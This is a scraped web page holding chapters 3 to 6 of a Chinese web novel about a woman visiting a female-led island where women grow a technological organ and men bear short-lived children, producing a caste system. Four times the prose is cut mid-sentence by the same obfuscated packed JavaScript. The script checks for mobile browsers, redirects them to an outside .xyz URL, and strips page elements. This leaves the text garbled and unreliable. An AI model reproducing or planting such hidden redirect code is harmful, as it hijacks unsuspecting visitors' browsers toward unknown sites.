《神女游戏[无限]》 3. 孤魂岛 独孤艾夏控制飞车落地之后,巫漓想看看孤魂岛的便利店和岛外的便利店有什么不同,于是就跟着她她一同进入了这家便利店。 虽然这里的购物单位虽然不是“元”也不是“刀”,而是一种叫做“卦”的单位,但是这里的物价和岛外差不多,矿泉水2卦一瓶、薯片7卦一袋…… “看什么呢?” 巫漓还在观察便利店里陈列的物品,独孤艾夏就已经拿透明塑料袋买了一袋子东西塞给她。 “知道这些东西怎么用吗?” 独孤艾夏见她翻看着塑料袋里的东西没有回答,挨个拿出塑料袋里的东西和她解释道:“这是月经棉条、这是月经巾、这两个是月经杯和月经碟……因为我不知道你们岛外习惯用哪种,也不知道你的型号,所以我给你买的都是通用款,里面所有型号都有,你试过之后下次再买就方便了。” “哦好,我知道了。” 独孤艾夏又拿出了一瓶喷雾和一袋纸巾。 “这个喷雾去渍效果很好,搭配这个吸水纸巾使用,可以把你裤子里大部分的水分吸干,当然这是量不多的情况下,如果你裤子上的血迹太多的话,还是直接买一条新的裤子比较好。不过我看你好像还没有渗出来,应该用不上,所以就没有帮你买……厕所在那边,快点去吧,我在飞车上等你。” “好。” 巫漓冲去卫生间时,在门口看到了一个男人模样,但挺着大肚子的三十岁左右男人。 这个男人虽然有过肩的浅棕色长发,暴露在空气中的长发也似乎经历了长年累月的保养,但是他有很明显的喉结,所以不是中性打扮的女人。 尽管巫漓着急进厕所,却也忍不住回头看了他好几次。 刚刚她们飞在天上看得不是特别真切,但是巫漓总觉得大街上走着的女性特别多,而男人的数量就比较少。她一直没有机会问独孤艾夏这是为什么,但是现在,她好像有一点明白了。 独孤艾夏身高体型都接近男性,加上她穿着一身特警的衣服,还留着短发,如果只看背影的话,很容易把她认成男性。孤魂岛主虽然盘着头发,但是她身上却穿着分不清男女的衣服,如果不看脑袋只看身体的话,也容易把她看成男性。只有像大祭司这种从头到脚都像健康时尚女性的人,从天上看着才比较好辨认。 从她们的飞车落地之后,巫漓就发现孤魂岛的男人几乎都留了很长的头发,穿衣打扮也很讲究,甚至有许多穿着裙子的,确实十分难以辨认。而岛上的女人则是大多都留着刚过肩或者更短的头发,她们身上也基本都穿着实用性大于观赏性的衣物。 既然岛上的女人还保留着女性的特征,而男性大多穿衣风格都融合了刻板印象下的女性特征,这也就难怪巫漓会认为大街上的女人会比较多了。 在厕所里,巫漓拆开了一片卫生巾,即刻便有些惊讶。 因为这片卫生巾比她之前见过的都更加轻薄,左右两侧各有一条微微凸起的棉条防止侧漏,尾部有加宽的吸水棉处理,中间还有一条契合臀缝形状的防漏棉条。除此之外,它的双翼也并非传统的半圆或正梯形,而是更不易脱落的倒梯形设计。 巫漓将其粘黏在内.裤上时,惊喜地发现这种卫生巾虽然用手尝试的粘度和正常卫生巾并没有什么不同,但是它在裤子内侧的粘粘效果却格外的好。 巫漓只一瞬间就爱上了这款卫生巾,决定等有钱了就屯它个100包! 怀着对卫生巾极度满意的心情,她又拆开了其他的几样东西。 巫漓原本因为不知道岛上卫生棉条的质量如何而不敢轻易使用,但是就外观上看来,这个棉条的质量和她平常使用的没有什么区别。 这一盒棉条里面有大中小三种型号,拆开内层包装后,初步目测没有拉丝的情况,但具体质量还有待进一步测评。 因为她没有使用过月经杯和月经碟,所以没办法对这两样东西进行评价,但是她看到包括这两样东西在内,所有月经用品的盒子上都印着“医用级”和“全岛质保”这几个字。 巫漓在心中暗想,就算她以后要离开孤魂岛,也一定要屯一大批岛上的卫生巾和卫生棉条再走。就冲它对女性卫生的重视程度,她将永远对这个女人做主的孤岛带上滤镜。 岛外的很多男人都不知道,其实女人的需求不多,当需求正真被满足时,所谓的“矫情”也就不复存在了。 ………… 刚回到飞车上,独孤艾夏就递给了她一瓶水,然后用眼神示意了一下放在中央扶手箱上的三个包子和一颗红色药片。 “你应该很久都没吃东西了,我们要先去看案件的初步进展,所以午饭一切从简。你先吃一点东西,然后把止痛药吃了,不然你就得在疼死和饿死当中选一种死法了。” 巫漓接过玻璃水瓶,一时间没有反应过来这与她想象中相差甚远的温度,差点把水瓶扔到了地上。 “这水是温热的!” “据我所知,经期喝凉水对身体不算太好,如果你有常年喝冷水的习惯,我也可以再帮你买一瓶冰水过来。” “不是,我是想说,便利店还有专门卖热水的吗?” 独孤艾夏一边和她解释,一边操控飞车进入了空中航线。 “月经用品、止痛药、玻璃瓶装热水——正规便利店和小超市都必须要随时备有这几样东西才能开业,如果被检查到不合格的话,会面临20万卦的罚款或者判处三年以下有期徒刑。” 巫漓拿玻璃水瓶捂着腹部,咬了一口包子,是牛肉馅的。 “可是又要加热,又是玻璃瓶装,应该会比较贵吧?” “不会,就和正常的矿泉水一样,就是两卦。不过它也不是什么人都卖的,首先男人不卖,其次会有人脸识别系统,每个女性在同一个月也只有七天可以购买,每天限购两瓶。也就是说,从第一天起算,也就是每人每月最多14瓶。” 巫漓又咬了一口另一个包子,是猪肝馅的。 “就算设置了限额,商家也还是很亏呀。还有那些卫生巾、卫生棉条什么的,那些东西的售价也都低于成本了吧?要是一直这样硬性要求,小生意很容易亏本倒闭的。” “不会,这些东西都是由岛政府统一制作,再以低于规定售价百分之十的价格 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14906111|160161||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 统一出售给商家,他们不会亏的。” 巫漓思索间,又咬开了最后一个包子,是黑芝麻馅的。 这些包子的馅好像都对治疗痛经有好处,而且比红枣和蜂蜜这种高糖食物来得更直接。 “那你们岛政府不就亏了吗?” “这方面投入确实很大,但是也还好。每年都会有很多慈善活动,有大量商人会捐钱在女性月经福利的规划上。除此之外,孤魂岛的科技排在全球第一很多年了,我们还算是比较富裕的,将税收在这方面多付出一些也是理所应当。” 短短几个小时之内,巫漓感受到自己的价值观遭受了无数次的重刷洗涤。 在孤魂岛上,那些乌托邦般的幻想居然变成了事实! 可是世界上没有乌托邦,真正的乌托邦也不会起“孤魂岛”这种悲伤的名字。 巫漓很快吃掉了三个包子和一片止痛药,转着手里的半瓶水俯瞰地面。 车载显示屏上显示红灯了,她们和另外几架飞车悬停在半空中。 倒是地面的十字路口亮起了绿灯。 一个金发洋装的孕妇从马路的这头走向那头,她身边那个事业型女性装扮的女人一路小心翼翼地扶着她,似乎是一派恩爱繁荣的景象。 “独孤警官,岛上同性之间的开放程度也挺大的嘛,同性之间也可以怀孕吗?” 独孤艾夏顺着巫漓的目光看过去,语气清淡淡地说:“哦,你说他们呀,穿洋装的那个孕[男彐(fù)]是个男人。” “啊?他哪有一点像男人啊?” “这个主要还是看感觉,女人和男人之间的气质还是相差挺大的,不过你的资料上显示你轻微散光,所以你还是等有机会在地面上多观察观察吧。” 巫漓瘪了瘪嘴。 她不过是轻微散光,这个高度还是能区分出正常人类的性别的。 “可是男人穿这种嫩粉色的蓬蓬洋装,还把头发扎成爱心形,贴满了会闪瞎人眼的粉红碎钻……有点娘了吧?” 巫漓皱着眉头,有点难以接受。 这样子的装扮,她只在漫展上见小女生扮过,而且那个角色本身还是一个年仅17岁的少女。巫漓现在看到一个怀孕的男人装扮成这个样子,只觉得当时的美好影像像落叶被大风刮过,不仅荡然无存,还掀起了一片迷人眼的风沙。 看来,自己这个开放派还是太保守了。 “穿衣自由嘛,岛上很多老年人也挺反感的,觉得那种服饰太夸张了。但是我觉得还好,二十几岁的小男孩嘛,有点化妆的爱好也很正常。” 车载显示器亮起了绿灯,飞车自动往前飞去。 独孤艾夏从窗边转回头,“不过,他就是一个正正常常的小男生,我完全没有看出他哪里娘。倒是你啊,细胳膊细腿的,也该去锻炼一下了,不然小心别人说你太爹哦。” 巫漓不知道是不是那片止痛药有什么副作用,她现在肚子倒是完全不疼了,但是总感觉脑子不太灵光。 原来在孤魂岛,“娘”是褒义,而“爹”是贬义,那前段时间流行的“爹系男友”翻译过来不就是……娘系女友? 4. 孤魂岛 “对了独孤警官,我有一件事情还没来得及问你呢,”巫漓这时才想起来这岛上最奇怪的地方,“之前你问我母亲是女性还是男性,这个问题是什么意思啊?母亲不就应该是女性吗?还是说男人生了孩子也可以当母亲?那男人到底是怎么怀孕的?” “你一口气问了我四个问题,这在审问中可不是个好技巧,我很容易避重就轻地回答一些不重要的问题,从而引导话题偏移。” 她们说话间,孤魂岛行政中心办公大楼又赫然出现在了眼前。 巫漓看过很多幻想男人生子的影视作品和文学作品,但从来没有亲眼见过怀孕的男人,更别说让男人当母亲了,所以她是真的对这个问题很感兴趣。 “你现在就在转移话题呀,独孤警官——”她故意拖了长音以表示自己的不满。 独孤艾夏眼珠转了小半圈,似乎在思考先回答巫漓的哪个问题。 最终,她罕见地露出了有些不好意思的神情,音量不知为何低了下去,就连脸颊也挂上了一抹意有所指的淡红。 “这岛上有句话,你们岛外肯定没有,那就是‘女人[根]好,还愁男人怀不了?’”独孤艾夏说到这里,还用男人为自己能力骄傲般的表情轻声补了句,“这方面,我可还没输过哟。” “啊?!” 巫漓简直不敢相信她听到了什么! 女人什么好? [根]……这是能说的吗?女人有这玩意儿吗! “等等,我不太明白……”巫漓捂着脑袋,已经有点语无伦次了,“你、你是女人没错吧?” “对啊。” “那你怎么、你怎么可能有……那种东西?不可能,这太荒唐了!” 巫漓宁愿男人怀孕是因为ABO世界的离谱规则,而不是来自女人那个前无古人后无来者的[根]。 天呐,女人的世界连这玩意儿都进化出来了?! 她抓着自己的头发,真的没有办法接受。 “哈哈……” 她的这番动作成功把独孤艾夏逗笑了,艾夏吐槽道:“你一个大女人在这不好意思什么呀?哈哈,你真有意思,怎么随时都跟个[男乔(jiāo)]羞的小男人一样?” 巫漓捏着安全带,耳畔能听到心脏突突的声响,顿时感觉自己就像长期溺水的人突然能够换气,而不适应的样子。 “对不起,我就活该多问这一嘴的……艾玛,心脏怎么还不好了呢,有速效救心丸吗?我急需来一颗。” 独孤艾夏看着车载显示屏上的数据分析,仍然是笑着拍了拍她,“少来了,你只是受到打击,大脑过载了而已,缓缓就好了。” “不好意思我纨绔当久了,理解能力不太行,你再跟我解释一下,那什么有关‘[根]与生育’的深奥课题。” 独孤艾夏收起了挑逗的表情,跟巫漓解释了起来。 “据我所知,[男性生育史]是从三百多年前开始的。 “那时候,孤魂岛应该已经成立了两百多年。一直都是只有女性可以生育,也只有女性可以承担的起一位母亲的头衔。可能是因为女性占据岛上的了六成的职务,就连生育这种关乎人类存亡的事情,男人们都帮不上一点忙,所以让他们有点抑郁吧。 “三百年前的某一天,孤魂岛的男人们集体抗议,认为自己当不了大官做不了大事都可能是自己能力的问题,但是没有孕育生命和当母亲的权利就纯粹是老天待他们不公。” 巫漓不知道为什么,突然想起了电视新闻上产房外忙着打游戏的老公,还有现实生活中随意对女性开黄腔的男人。 “男人居然会因为生不了孩子而集体抗议?” 巫漓越想越觉得诧异。 在她的观念里,男人不都是会因为自己不用受苦就可以当上父亲而感到高兴吗?他们怎么可能产生想自己生孩子的想法? “没错。” 独孤艾夏看起来倒是没觉得这件事情有什么反常,继续往下介绍这诡异的[男性生育史]。 “当时的大祭司和岛主一开始安慰他们说,男人不用生孩子就可以当上父亲,也不用承担生育带来的风险和副作用,这属实是一件好事。但是男人们并不吃这一套,他们说自己永远也无法孕育一个生命,这让他们从生到死都被笼罩在一种极度没有安全感的恐怖环境当中,要求岛主给他们生育的权利,或者提高他们的社会地位。” “原来在这儿等着下套呢。” 巫漓总算是感到了一点点岛外男人的熟悉感。 男人明明可以通过欲.望的发泄就不劳而获一个孩子,他们怎么可能真的想自己去生?这不符合男性刻在DNA里的固化思维。 “可不是嘛,这些男人们真是又作又幼稚。当时女性和男性在社会地位上已经趋近于平等了。除了岛主和大祭司等重要职位是由实力竞选和民主选票选举的,女人占据了上风之外,其他职位上的男性员工也不少。 “当年就有专家提议,是不是社会对于男人太好、太包容了?以至于他们都不用为了生计而奔波,反而有充足空闲时间为了这种可笑的理由对政府进行抗议。或许我们应该削减他们的社会权力,剥夺他们的话语权,告诉他们老老实实在家带孩子才是正道。” 巫漓看着独孤艾夏脸不红心不跳地说着这些话,怎么觉得这个专家这么亲切呢?真是叫人控制不住地想冲过去挥拳。 这专家上辈子该不会是个岛外的男人吧? “我觉得这个专家说的……”巫漓试了好几次也压不住嘴角,从心底油然而生一种爽感,脱口而出道:“实在是太明智了!当时的岛主有给她加工资升职吗?” 独孤艾夏摇了摇头,“没有,这个提议就被当成一个笑话,说说就过去了。” “啊?怎么这样!” 巫漓好不容易体会到了一次当男人的爽感,听到这个结局难免感到可惜。 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14906112|160161||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >“所以你们居然认真听取了他们的建议,并且研究出了可以让男人怀孕的高科技?” “对,因为那一任岛主认为女男已经平等,如果再提高男性权益,很有可能破坏长期以来的社会安定。唯一对他们不公平的,还真是无法生育这一项,所以岛主就去找了大祭司一起商议给他们生育权利的办法。” 巫漓手肘撑在窗子上杵着腮思索了片刻,“可是这一点对女人也不公平啊。” “你听我说完,当年男性集体抗议的事件一出,也有很多女性反映了这个问题。男人总是对自己的能力略强而感到骄傲,但是如果女人说出那方面的持久度就会有一种被冒犯的感觉。而且女人只能被别人‘进入’,却无法‘进入’别人,这也让当时的女人们愤愤不平了很久。” 独孤艾夏把手伸进裤子口袋里,不知道在摸索什么。她的裆部似乎微微鼓起了一点,又迅速瘪了回去。 “历代大祭司都是精通人体结构和世间规律的天才,而且她们都有一脉相传的秘术。从那时起,孤魂岛成立了第一个由政府主导的生物研究中心,由大祭司担任负责人,他们只用了二十六年,就研究出了一种最大程度解决女男生理结构不平等的科技——[根]。” 巫漓想指独孤艾夏裆部那个有可能是她眼花看错的东西,但又觉得不太礼貌,欲言又止了好几次,最终还是没能问出口。 倒是后者非常坦荡。 “[根]的制造过程非常繁琐,而且也算得上是岛上的机密之一,只有以大祭司为中心的极少部分专业人士可以知道。虽然我不知道它的制造原理,但[根]是由芯片连接血液样本,由此组装于人体,日常并不显形,但随着芯片检测到人体兴奋,它就会参考(晋江不让说的男性零件)的勃|起现象显出实体。 “由于每个女人的体质和基因差异,我们血液样本培养出来的[根]也有大小粗细上的差异。” 独孤艾夏说到这里,突然有点不正经地坏笑着和巫漓逗趣。 “岛主肯定会安排大祭司给你培养一个[根]的。根据我的经验啊,你虽然瘦了一点,但是你很强哦~” “啊、什么啊!” 巫漓的脸唰的一下就红了。 独孤艾夏觉得这个姑娘虽然像个小男儿一样容易害羞,但还真是挺好玩的。 “那、那……”巫漓闪避着视线,只想赶紧跳过这个强不强的问题,随便囫囵道:“理论也、也不太成立吧。那什么,这细胞和那细胞都、都不对呀,男人怎么怀孕嘛?” 独孤艾夏本来就是要跟巫漓介绍岛上的非机密科技和文化风俗,既然对方先问了,那她当然也没有回避不答的理由。 “由于[根]的特殊性,它可以产生女体没有的另外一种细胞,再在[根]内使两种细胞融合,融合完成的细胞会随着运动排出体外。当其进入男性直肠尾端后,会在肠壁上附着形成一个类似子宫的胚胎孕育囊,帮助胎儿成型。” 5.第 5 章 “说实在的,在男人可以怀孕之前,岛上的阶级和血统划分要比现在笼统很多。但是在那之后,先人刻意淡化的阶级分化就又再一次席卷了孤魂岛,慢慢发展成了现如这种今见人就必须得问血统的样子。” 巫漓记起来当时在岛主办公室时孤魂岛主说的那句“血统纯正”,到现在也没能想明白这句话的意思。 “为什么?” 独孤艾夏叹了口气,似乎也对此颇为头疼。 “因为女人使男人怀孕毕竟不是自然规律,而依靠是后天科技和高维秘术融合达成的生育手段。所以虽然男人只需怀胎四个月就可以分[男免(miǎn)],怀上多胞胎的概率比女人大、怀孕的不良反应也会更轻。但是相对应的,他们生下来的孩子普遍体重偏轻,夭折的概率也是正常女人诞下孩子的5倍之多。” “哦,我明白了。就是说男人生下来的孩子体质普遍偏差,所以你们认为男人生下来的孩子‘质量’不如女人生下来的孩子好。” 独孤艾夏看着巫漓,又情不自禁地叹了一口气。 “要只是这样就好了。然而实际情况是,岛上科技发展迅速,医疗设施可以让正常人类的平均寿命保持在120岁以上,但是由男人生下来的孩子平均寿命只有不到60岁。由于岛政府没有充足的理由剥夺这些孩子的人权,以至于当他们长大成人之后,也会不可避免地和正常人类结婚生子。这大大拉低了孤魂岛的平均寿命,也让阶级分化越来越严重。” 巫漓上扬的嘴唇缓缓落下了。 这确实是一个特别严重的问题。 如果是以经济或社会资源不公等原因引发的阶级固化,那都还有缓和的机会。但寿命的长短就是一条宣告生与死的界线,踏过去一步就是生,若踏不过去,那便只剩下死路一条。它就是这么严峻而不可逾越的,没有任何生物可以例外。 这条用生命划出来的阶级定义,确实无法撼动。 “明白了,就是说当男人成为母亲,他们的孩子就会平白缩减几十年的寿命,可岛上这样交.配出来的孩子多吗?” “很多。”独孤艾夏面色凝重地回答她,“那个时候有很多小男生,或是被女上司潜规则也好,或是为了进入更好的阶层想用孩子栓住女方也罢。总之自从[根]问世后的几年,岛上的男性母亲数量曾一度与女性母亲数量比肩。时至今日,岛上血统百分百纯正的人已经屈指可数了。” “那你是……” 巫漓是在问独孤艾夏的血统。 后者面容悲痛地回道:“和你一样,我的母父都是血统最纯正的女人和男人。” 出于代入获利者视角的安全感,巫漓悄悄松了一口气。她斜眼偷瞄到独孤艾夏面上的愁容,不是很理解。 “这对你不是很好吗?你有权有势,寿命还长,不管能不能当上岛主,你的血统都保证了你在岛上的地位。” 独孤艾夏盯了巫漓几秒,先是欲言又止,后又像是自言自语般呢喃了一句:“可是,今年年初调查的岛上平均寿命只有59岁。” 巫漓并不是很明白她想要表达的意思。 “因为不断有男人生孩子,所以拉低了岛上的平均寿命也是正常的呀。” “我是说,今年年初调查的孤魂岛平均寿命只有59岁。”独孤艾夏加重语气重复了一遍,“而我的寿命保守预估在159岁。” “嗯……?” 独孤艾夏神情有些绝望地从窗口俯瞰着下方的公路,恰巧此时,她们下方的地面上走着一个挺着大肚子的年轻姑娘。 “你知道,岛上有多少年仅十几岁的少年怀孕吗?” 巫漓忽然间意识到了眼前人愁容的由来。 “很多……对吗?”她试探着询问。 独孤艾夏给了她一个苦笑的表情,也算是给了她答案。 对啊。 这么简单的问题,仔细想想就能明白。 如果正常人类能活到120岁,而男人生的孩子只能活到60岁。那么假设这个男人所生的也是一个男孩子,当他长大之后也生了一个孩子,这个孩子的寿命就会更少。要是一直这样循环迭代,对后面出生的孩子就实在是太不公平了。 “既然如此,为什么不禁止呢?” “岛上有明文法律规定,所有正规医院都不支持未成年孩子做孕检,只支持打胎,如果女男双方及其家长都同意生下这个孩子,也需要进行极其繁琐的档案调查和归整。这就存在一个问题,那就是很多误入歧途的青年都不敢去正规医院检查,反而增加了风险。 “如果是男性母亲则更复杂。生育权可以说是男性努力反抗了数十年,经历过不少波折才获得的权利。虽然不知道最初提议的人究竟是怀着什么样的心态,但是经过几百年的思想变迁,男人们早已习惯了自己可以生孩子的事实。如果此时要严令禁止[根]的通用和男人生孩子的权利,就像是要在一个现代城市禁用手机,那根本就是不可行的。 “男生们怀孕后,首先需要检测的就是母体和父体的寿命区间,从而推算出该孩子的寿命是否能存活到二十岁,如果不能,医院就会建议他们打胎。但由于男性怀孕的胎儿较小,孕反也明显要轻很多,所以他们生孩子就会更加容易,甚至不去医院也不会危及生命。近几年别说是大学了,就连中学甚至是小学的校园附近都出现了越来越多的弃婴。政府没办法找到他们的母亲,只好建立了越来越多的福利院,去收养那些寿命区间极短的孩子。” 巫漓没有当过母亲,但她也为此感受到了一阵凄楚。 她从现在开始明白,就算科技再发达、手段再高明,逆天而为的行动也都是不会有好下场的。 “难道就真的没有一点办法吗?或许,可以像禁.毒一样禁[根],就效仿禁鸦.片的做法,这样岛上的平均寿命就会逐年回暖了。” “岛政府高层大会上也曾提出过这样的想法,但是被否决了。” “为什么?” “第一,是因为能参加会议的女人和男人们都有较为纯粹的血统,也都不想失去自己的权利。第二,是因为[根]的改良正在推进,如果成功的话,孤魂岛上最低的寿命预估将会增加到18岁,这是一个让人勉强可以接受的数字,所以高层们都决定先等待改良的结果出来再做决定。第三……” 独孤艾夏一向逻辑清晰,但说到第三条原因时, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14914122|160161||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 她似乎有点说不下去了。 “第三,大家一致认为孤魂岛又不是乌托邦,在这里产生阶级划分可以推动社会发展,并不是坏事。既然[根]可以稳固这个划分,又有可以改良到明确底线的研发团队存在,那就没必要抹除。” 巫漓没有办法代入自己只能活十八年是什么感受,但她知道那一定不好过。 她思索了一圈这个逻辑,点头道:“我认同这个说法,因为我是商人的女儿。我们也常会设定目标群体,划分高中低的阶层研究不同的售卖手段,这样可以让我们的利益最大化。孤魂岛用人的寿命来实现阶级划分,在理论上确实行得通,也很直截了当,但是对底层人民来说太残忍了。我们商人赚钱的底线只在不触碰法律,有的时候也会不太道德,所以说这句话的人大概也是位高权重,把目光放在了管理,而非人情上吧。” “是我说的。”独孤艾夏没有任何停顿地接了下去。 巫漓没想到这个答案,转过头看着她,而她则是目不转睛地望着窗外。 孤魂岛行镇中心大楼已经近在咫尺。 空中的一块全息显示屏上循环播放着四位岛主候选人的照片。 他们都这么年轻有为、血统纯正,无论是否能选上岛主,他们都还有大把的寿命和资本等着去挥霍,他们的人生是那么的可期。 可其他人呢? 在如此绚烂夺目的“未来之城”里,那些还没来得及体验世间的美好,就被黑白无常牵着手准备要带走的孩子该怎么办? “在去年年初的岛级大会上,我陈列了许多寿命分化为孤魂岛带来的好处,并说对于那些寿命短暂的孩子,岛上也给了相对应的补助,也算是公平。在此之前,我都以为我的观点既客观又公正,直到今年春天……我拥有了我的第一个孩子,他的寿命预估在58岁。也就是说,他极有可能比我先死。” 孩子? 这个词莫名戳动了巫漓的心。 她也不知道为什么,自己对小孩子总是又喜欢又恐惧,从很多年前就是这样了,直到现在也没能好转。 独孤艾夏已经25岁了,这个年纪的人有孩子很正常,但是在孤魂岛上另说。 “他很可爱,他母亲给他扎上蝴蝶结的时候,简直就像个小天使……” “是个女孩儿?” “不,是男孩。” 独孤艾夏的飞车上放着一盒烟,她一路都没抽。直到临进入地下车库前,她按下车窗,点燃了一支烟叼在嘴里。 “他的母亲是我在参与侦破一起诈骗案时遇到的男人,也是一个舞蹈团的首席舞者,很美,简直像是从梦里走出来的一样。在调查过程中,他帮了我们很多忙,态度谦和有礼、不卑不亢,我一瞬间就爱上了他,可谓是一眼万年。 “有一次我回大学找妹妹绫冬,又再次遇到了他。那时我才知道,原来他是我的学弟。吃午饭的时候,他坐到了我对面没有人的位置上,对我说上次一别,他忘了问我的联系方式,只记下了我的名字,很是遗憾…… “接下来就是和电视剧里的情节一样,我们度过了一个美妙的夜晚。只可惜,那时,我并不知道他只有30年的寿命。” 6.孤魂岛 独孤艾夏在地下车库里,冲着窗外吐了一口烟。 “孤魂岛大概是对男人有恨吧。由男人生出来的孩子不仅短命,而且当母亲是男性时,寿命预估在35岁以下的男孩天生就没有性|能力。” 巫漓知道她想说什么,但是没有挑明。 男人生孩子的原理其实和男人本身没有什么关系。 它是由[根]产生一种细胞,与女体细胞结合完成之后,再进入男性直肠尾端形成孕囊培育胎儿。也就是说,男人的DNA链和没有一条参与了传承,反而因为排异等原因缩减了胎儿的寿命。 说白了,“女人[根]好,还怕男人怀不了?”这句话不是说着玩的。 小生命在[根]里,与女人本体细胞融合的时候就已经产生了。只要这两种细胞质量好,小生命的存在就已经成为事实,至于男人,充其量也只是起到了一个提供营养的作用而已。 寿命预估在35岁以下的男人没有性|能力,意思不就说明他们这辈子都无法拥有一个储存着自己基因的孩子吗? “第二天早上我醒来的时候,他就已经不见了,短信电话全都联系不上。我完全搞不清楚他在想什么,又为什么要闹失踪,明明我们当天晚上那么和谐。 “直到四个月之后,我的助理和我说,在一家私立医院查询到了一个拥有与我相近DNA的婴儿。” 飞车已经停到了车位上,可独孤艾夏的话没有停止。 “我当机立断就冲去了那家医院,看到了躺在病床上的他,还有那旁边那个可爱的孩子。” 巫漓意识到自己似乎知道的太多了。她跟独孤艾夏并不熟悉,刚见面就打探别人的隐私似乎也不太礼貌,于是打断了她。 “为什么和我讲这些?” 独孤艾夏吸完最后一口烟,将烟屁股按到车内的烟灰缸里,又从香烟盒中抽出来一支。 “你就当是我连轴转工作太累,想借口聊天抽支烟休息一下吧。” “这个借口粗糙了一点。” “好吧,其实是因为……你不会一直留在岛上,而我动摇了。” 独孤艾夏点燃了第二支烟,此时,车内已经充满了香烟的气味。 巫漓不讨厌香烟的味道,但在飞车内部这种狭窄逼仄的空间里,她居然在和另外一个女人谈论身为父亲的感想,这还是让她感觉有哪里不对劲。 “你动摇什么?”她问。 独孤艾夏这次没有直面问题,只是轻轻说了句:“……他疯了。” 那个男人当了母亲,却疯了。 当事人的语气极轻,就像那个男人的性命一般,那么脆弱,那么不堪一击。像记录故事的薄纸一样,甚至都不需要用力,只需用两指轻轻拈着一撕,整个故事世界就可以被彻底摧毁。 是不堪一击吗? 不,那是日积月累下,看似平平无奇的屠戮。 “他醒过来的第一眼就看到了我。我抱着孩子,欣喜地来到他面前,本以为他会高兴,没想到他的第一反应居然是恐惧。 “——他以为我要夺走他的孩子。 “接下来的很长一段时间,他总是或哭或笑,近乎疯魔地保护着那个孩子,不让人去触碰他,其中当然也包括我。” 巫漓在故事中没有听到那个意气风发的大学生受到了什么刺激,所以无法理解这个突如其来的转折。 “他为什么会变成这样?你对他做什么了?” “我什么都没有做……或许,你应该问孤魂岛对他做什么了。” 在巫漓疑惑的眼神下,独孤艾夏转述了从她岳父岳母口中得知的事情经过—— 独孤艾夏的男朋友是一名刚开始攻读研究生的学生。 他和独孤艾夏的一夜春宵过后,猛然想起来自己只有30年的寿命。他又想到,恋爱的激情如此猛烈,他们居然忘了做保护措施。 天呐,真可怕。 他本来就是没有办法培育下一代的孤家寡人,医生给他的建议是,如果他18岁就和一个[根]好寿命又长的女人结婚,那他就可以亲自孕育一个生命,哪怕这个孩子的基因与他毫无关联,但也总该会流淌着那么一点点他的鲜血。 可是他拒绝了。 18岁是,是最该翱翔与梦想的年纪。他不想因为一个孩子断送了自己的后半生,也不想因为自己仅仅只有30年的寿命断送了孩子的后半生。 如他所愿,他年纪轻轻就成为了红极一时的舞者,鲜花与掌声让他几乎忘了自己与生俱来的原罪——他是男人的后代,自己本身也是个男人。 刚入学没多久,他就因为一起案件遇到了一位警官小姐,并迅速与她坠入了爱河。 这位警官小姐很好,还是岛主的儿子,做事时彬彬有礼、张弛有度,实在是世间不可多得的的良配……他这样想着,和独孤艾夏盖上了被子。 梦里冒着粉红色的泡泡,俨然就是一副仙境般,有小精灵从蘑菇小房子里探出头和他打招呼的景象。 可是这些爱心形状的泡泡突然都炸裂开来!里面钻出一个个皱巴巴的婴孩,咿咿呀呀地叫他妈妈。在他反应过来之前,这些婴孩又一个接着一个坠落下去,失去了生命。 不! 他从梦中惊醒,看着睡在自己身旁的独孤艾夏,心底只觉得毛骨悚然。 被子皱得不成样子,女人轻微的鼾声飘荡在房间里……这些无一不在向他证明,他们确实做了那件事。 他手脚踉跄地冲进卫生间,对着镜子看自己脸上脖子上的红痕,无助地哭了。 他的手指摸索着镜子里的自己,情绪彻底崩溃了,一屁股滑坐到地上,毫不犹豫地扇了自己一巴掌,哽咽着骂自己。 你怎么可以做这种事!你天生就是不配拥有孩子的男人,你怎么可以对自己不负责、对孩子不负责呢! 独孤艾夏是有[根]的女人,而你是没有性|能力的男人。她跟你睡觉,怀孕的又不可能是她,只会是你!事情落不到她身上,她当然不上心了。但是你呢?你怎么就这么不自爱啊?! 他摸着自己的小腹,心脏控制不住地疯狂跳动…… 会有吗? 独孤艾夏昨天晚上很勇猛,他会怀孕吗? 孩子, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 